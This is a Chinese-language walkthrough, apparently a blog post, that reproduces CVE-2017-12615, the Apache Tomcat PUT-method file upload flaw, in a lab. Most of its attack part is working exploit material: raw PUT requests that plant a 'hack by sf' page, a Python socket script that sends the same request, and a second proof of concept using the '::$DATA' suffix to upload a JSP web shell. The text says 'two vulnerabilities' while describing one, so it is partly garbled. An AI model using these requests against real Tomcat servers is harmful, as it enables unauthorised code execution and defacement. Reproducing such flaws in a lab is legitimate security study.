漏洞名称:CVE-2017-12615-远程代码执行漏洞
CVE-2017-12615:远程代码执行漏洞
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
影响范围: Apache Tomcat 7.0.0 - 7.0.81
首先在Tomcat官网下载7.0.81版本
下载链接:http://mirrors.shuosc.org/apache/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz
在Linux上搭建 把apache-tomcat-7.0.81.tar.gz文件解压后放到/usr/local/目录下
在终端里进入bin目录,并输入./startup.sh开启tomcat
随后访问http://192.168.149.129:8080端口就可以访问到
漏洞利用步骤
在/conf/目录下有个web.xml文件 打开添加readonly参数,属性值为false
然后往目标服务器发送put数据包
PUT /123.html/ HTTP/1.1 Host: 192.168.149.129:8080 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 DNT:1 Connection: close Content-Length: 664 <html> <head> <title>hack by sf</title> </head> <body> hack by sf! </body> </html>
该数据包是在目标的根目录下生成一个123.html文件
这里我们用Python写了个利用脚本
代码如下
import socket poc = "<html><head><title>hack by sf</title></head><body>hack by sf!</body></html>"; buffer = ( "PUT /123.html/ HTTP/1.1 ""Host: 192.168.149.129:8080 " "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 " "DNT:1 " "Connection: close " "Content-Length: 664 "+poc) expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM); expl.connect(("192.168.149.129",8080)); expl.send(buffer); expl.close();
运行后:
修改123.html的后缀可以达到上传任意文件。
再贴上Tomcat 7.0.79的poc:
PUT /aedoo.jsp::$DATA HTTP/1.1 Host: 192.168.1.1:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 Cookie: Connection: close Content-Length: 22 your jsp ma